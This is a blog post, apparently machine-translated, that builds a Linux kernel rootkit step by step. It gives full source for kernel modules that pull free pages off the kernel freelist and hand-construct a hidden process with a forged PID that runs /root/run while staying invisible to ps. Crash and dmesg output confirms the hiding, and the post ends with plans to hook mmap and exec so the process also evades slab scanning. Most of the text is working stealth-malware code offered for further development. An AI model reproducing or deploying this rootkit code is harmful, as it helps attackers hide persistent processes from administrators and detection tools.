Stealing the Linux kernel page to build your own Rootkit

Keywords: Linux

Stealing pages from the kernel?Yes, stealing pages means that we bypass all the rules and interfaces assigned to pages and extract a free page directly from the freelist for use.

Look directly at the POC. Let me simulate a task_The allocation process for struct:

#include <linux/module.h>
#include <linux/mm.h>
#include <linux/sched.h>

static void * page_steal(unsigned int j)
{
	void *addr = NULL;
	int i = 0;

	for_each_online_node(i) {
		unsigned long spfn, epfn, pfn;

		spfn= node_start_pfn(i);
		epfn = node_end_pfn(i);
		for (pfn = spfn; pfn < epfn;) {
			struct page *page = pfn_to_page(pfn);

			// If you find a free page and it has not been stolen, remove it, steal it, and possess it!
			if (page_count(page) == 0 && pfn == j &&
				(page->lru.prev != LIST_POISON2 && page->lru.next != LIST_POISON1)) {
				// Simply remove from the freelist without increasing the reference count.
				// This page was stolen, kept forever, and never returned!
				list_del(&page->lru);
				// At this point, the page is no longer visible to the kernel. Get the address and use it.
				addr = page_address(page);
				break;
			}
			pfn ++;
		}
	}
	return addr;
}

static int __init steal_task_init(void)
{
	struct task_struct *p, *curr = current;
	unsigned int j = 2000;

again:
	// Here we simulate a stolen page to build task_The process of struct.
	p = (struct task_struct *)page_steal(j);
	if (p) {
		*p = *curr;
		p->pid = 0xffffff;
		strcpy(p->comm, "JingLiSkinShoe");
		printk("get page:%p  at %d\n", p, j);
	} else if (j > 0) {
		j --;
		goto again;
	}

	return -1;
}

module_init(steal_task_init);
MODULE_LICENSE("GPL");

Load this module to dump the crash structure based on the printed information:

[root@localhost test]# dmesg
[ 9260.300467] get page:ffff880000500000  at 1280

Let's look at this address:

crash> task_struct.sched_class,comm,pid ffff880000500000
  sched_class = 0xffffffff81669340 <fair_sched_class>
  comm = "JingLiSkinShoe\000"
  pid = 16777215
crash>

OK, can we find it by trying the dump all slab objects described above?

[root@localhost test]# insmod ./pagescan.ko
insmod: ERROR: could not insert module ./pagescan.ko: Operation not permitted
[root@localhost test]# dmesg |grep JingLiSkinShoe
[root@localhost test]# echo $?
1

Apparently not found!

OK, based on the POC above, we can have a formal one.That is, it's time for a hidden process to run. See:

// stealfork.c
#include <linux/module.h>
#include <linux/cred.h>
#include <linux/slab.h>
#include <linux/kallsyms.h>
#include <linux/nsproxy.h>
#include <linux/pid_namespace.h>
#include <linux/random.h>
#include <linux/fdtable.h>
#include <linux/cgroup.h>
#include <linux/sched.h>

int (*_run_process)(struct filename *file, char **, char **);
struct filename * (*_getname_kernel)(char *name);

int test_stub2(void)
{
	printk("stub pid: %d  at %p\n", current->pid, current);
	if (_run_process) {
		int r =_run_process(_getname_kernel("/root/run"), NULL, NULL);
		printk("result:%d\n", r);
	}
	current->parent = current;
	current->real_parent = current;
	return 0;
}

int (*_arch_dup_task_struct)(struct task_struct *, struct task_struct *);
int (*_copy_thread)(unsigned long, unsigned long, unsigned long, struct task_struct *);
void (*_wake_up_new_task)(struct task_struct *);
void (*_sched_fork)(unsigned long, struct task_struct *);
struct fs_struct * (*_copy_fs_struct)(struct fs_struct *);
struct files_struct * (*_dup_fd)(struct files_struct *, int *);
struct pid * (*_alloc_pid)(struct pid_namespace *ns);

static void *page_steal(unsigned int j)
{
	void *addr = NULL;
	int i = 0;

	for_each_online_node(i) {
		unsigned long spfn, epfn, pfn;

		spfn= node_start_pfn(i);
		epfn = node_end_pfn(i);
		for (pfn = spfn; pfn < epfn;) {
			struct page *page = pfn_to_page(pfn);

			if (page_count(page) == 0 && pfn == j &&
				(page->lru.prev != LIST_POISON2 && page->lru.next != LIST_POISON1)) {
				list_del(&page->lru);
				addr = page_address(page);
				break;
			}
			pfn ++;
		}
	}
	return addr;
}

static void *steal_alloc(void)
{
	void *addr;
	static unsigned int j = 8000;

again:
	addr = page_steal(j);
	if (addr) {
		j --;
		return addr;
	} else if (j > 0) {
		j --;
		goto again;
	}
	return NULL;
}

static int __init stealfork_init(void)
{
	unsigned char *base;
	struct task_struct *tsk;
	struct thread_info *ti;
	struct task_struct *orig = current;
	unsigned long *stackend;
	struct pid_link *link;
	struct hlist_node *node;
	struct sighand_struct *sig;
	struct signal_struct *sign;
	struct cred *new;
	struct pid *pid = NULL;
	int type, err = 0;

	_arch_dup_task_struct = (void *)kallsyms_lookup_name("arch_dup_task_struct");
	_sched_fork = (void *)kallsyms_lookup_name("sched_fork");
	_copy_fs_struct = (void *)kallsyms_lookup_name("copy_fs_struct");
	_dup_fd = (void *)kallsyms_lookup_name("dup_fd");
	_run_process = (void *)kallsyms_lookup_name("do_execve");
	_getname_kernel =  (void *)kallsyms_lookup_name("getname_kernel");
	_alloc_pid =  (void *)kallsyms_lookup_name("alloc_pid");
	_copy_thread = (void *)kallsyms_lookup_name("copy_thread");
	_wake_up_new_task = (void *)kallsyms_lookup_name("wake_up_new_task");

	// Use steal_for all kernel allocationsAlloc to steal!
	base = (unsigned char *)steal_alloc();
	tsk = (struct task_struct *)base;
	_arch_dup_task_struct(tsk, orig);
	base = (unsigned char *)steal_alloc();
	ti = (struct thread_info *)base;
	tsk->stack = ti;
	*task_thread_info(tsk) = *task_thread_info(orig);
	task_thread_info(tsk)->task = tsk;
	stackend = end_of_stack(tsk);
	*stackend = 0x57AC6E9D;
	tsk->stack_canary = get_random_int();

	clear_tsk_thread_flag(tsk, TIF_USER_RETURN_NOTIFY);
	clear_tsk_thread_flag(tsk, TIF_NEED_RESCHED	);
	atomic_set(&tsk->usage, 2);
	tsk->splice_pipe = NULL;
	tsk->task_frag.page = NULL;
	memset(&tsk->rss_stat, 0, sizeof(tsk->rss_stat));

	raw_spin_lock_init(&tsk->pi_lock);
	plist_head_init(&tsk->pi_waiters);
	tsk->pi_blocked_on = NULL;

	rcu_copy_process(tsk);
	tsk->vfork_done = NULL;
	spin_lock_init(&tsk->alloc_lock);
	init_sigpending(&tsk->pending);

	seqlock_init(&tsk->vtime_seqlock);
	tsk->audit_context = NULL;

	_sched_fork(0, tsk);

	tsk->mm = NULL;
	tsk->active_mm = NULL;
	memset(&tsk->perf_event_ctxp, 0, sizeof(tsk->perf_event_ctxp));
	mutex_init(&tsk->perf_event_mutex);
	INIT_LIST_HEAD(&tsk->perf_event_list);

	new = prepare_creds();
	if (new->thread_keyring) {
		key_put(new->thread_keyring);
		new->thread_keyring = NULL;
	}
	key_put(new->process_keyring);
	new->process_keyring = NULL;
	atomic_inc(&new->user->processes);
	tsk->cred = tsk->real_cred = get_cred(new);
	validate_creds(new);

	tsk->fs = _copy_fs_struct(current->fs);
	tsk->files = _dup_fd(current->files, &err);
	base = steal_alloc();
	sig = (struct sighand_struct *)base;
	atomic_set(&sig->count, 2);
	memcpy(sig->action, current->sighand->action, sizeof(sig->action));

	base = steal_alloc();
	sign = (struct signal_struct *)base;
	sign->nr_threads = 1;
	atomic_set(&sign->live, 2);
	atomic_set(&sign->sigcnt, 2);
	sign->thread_head = (struct list_head)LIST_HEAD_INIT(tsk->thread_node);
	tsk->thread_node = (struct list_head)LIST_HEAD_INIT(sign->thread_head);
	init_waitqueue_head(&sign->wait_chldexit);
	sign->curr_target = tsk;
	init_sigpending(&sign->shared_pending);
	INIT_LIST_HEAD(&sign->posix_timers);
	seqlock_init(&sign->stats_lock);
	memcpy(sign->rlim, current->signal->rlim, sizeof sign->rlim);

	tsk->cgroups = current->cgroups;
	atomic_inc(&tsk->cgroups->refcount);
	INIT_LIST_HEAD(&tsk->cg_list);

	// Set Stack and Entry
	tsk->flags |= PF_KTHREAD;
	_copy_thread(0, (unsigned long)test_stub2, (unsigned long)0, tsk);
	tsk->clear_child_tid = NULL;
	tsk->set_child_tid = NULL;

	// Forged identity cards
	pid = steal_alloc();
	pid->level = current->nsproxy->pid_ns->level;
	pid->numbers[0].nr = 0xffff;
	pid->numbers[0].ns = current->nsproxy->pid_ns;
	for (type = 0; type < PIDTYPE_MAX; ++type)
		INIT_HLIST_HEAD(&pid->tasks[type]);
	atomic_set(&pid->count, 2);

	// Process management structure self-swallowing
	INIT_LIST_HEAD(&tsk->ptrace_entry);
	INIT_LIST_HEAD(&tsk->ptraced);
	atomic_set(&tsk->ptrace_bp_refcnt, 1);
	tsk->jobctl = 0;
	tsk->ptrace = 0;
	tsk->pi_state_cache = NULL;
	tsk->group_leader = tsk;
	INIT_LIST_HEAD(&tsk->thread_group);
	tsk->pid = pid_nr(pid);
	INIT_LIST_HEAD(&tsk->pi_state_list);
	INIT_LIST_HEAD(&tsk->tasks);
	INIT_LIST_HEAD(&tsk->children);
	INIT_LIST_HEAD(&tsk->sibling);

	// Process organization self-swallowing
	tsk->pids[PIDTYPE_PID].pid = pid;
	link = &tsk->pids[PIDTYPE_PID];
	node = &link->node;
	INIT_HLIST_NODE(node);
	node->pprev = &node;
	printk("task at %p\n", tsk);
	// Come on!
	_wake_up_new_task(tsk);

	return 0;
}

static void __exit stealfork_exit(void)
{
}

module_init(stealfork_init);
module_exit(stealfork_exit);
MODULE_LICENSE("GPL");

We'll change / root / run to a dead loop that doesn't exit and load this one aboveStealfork.koModule, created a new process/root/run, let's see how to find it.

First, let's see how it looks:

[root@localhost test]# dmesg
[ 9914.796859] task at ffff880000f4f000
...

Let's look at the address ffff880000f4f000:

crash> task_struct.sched_class,comm,pid ffff880000f4f000
  sched_class = 0xffffffff81669340 <fair_sched_class>
  comm = "run\000od\000\000\060\000\000\000\000\000\000"
  pid = 65535
crash>

OK, this is our run process. See below if you can find it in the normal way?

[root@localhost test]# ps -e|grep run
[root@localhost test]# echo $?
1

Of course not!Because I didn't list it in the list at all!Okay, now try the dump slab method:

[root@localhost test]# dmesg |grep run
[10059.334359] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.334360] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.334361] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.334361] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.334362] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.334363] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.334363] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.334364] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.334365] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.334366] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.336179] ##### owner:[run] 65535   PGD:ffff88003a928000
[10059.336358] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.336359] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.336363] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.336366] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.336368] ##### VMA owner:[run] 65535   PGD:ffff88003a928000
[10059.336370] ##### VMA owner:[run] 65535   PGD:ffff88003a928000

Not good!!Found!

Why?

Although we built task_using stolen pagesStruct, then in task_Strct's slab cannot find it, but it is mm_struct and vm_area_struct sold!Because I don't control mm_struct and vm_Area_The struct allocation process also uses stolen pages, which I have no control over:

  • In task execve calls, mm_is executedAlloc, reassign a mm_struct and set owner to task to control mm_alloc, we have to inlne hook, which is cumbersome.
  • During the process, vm_is dynamically allocated based on memory usageArea_Struct, the hook process can be cumbersome.

This also illustrates from another side how useful it is to find suspicious processes and hide them by groping through them!Don't go directly to task_struct, indirectly arrest it!

Next, I'm going to hook mmap and exec and make mm_struct and vm_area_struct is out of control too!

Zhejiang Wenzhou leather shoes are wet, so you won't get fat when it rains!

Posted by Daleeburg on Wed, 20 May 2020 18:30:52 -0700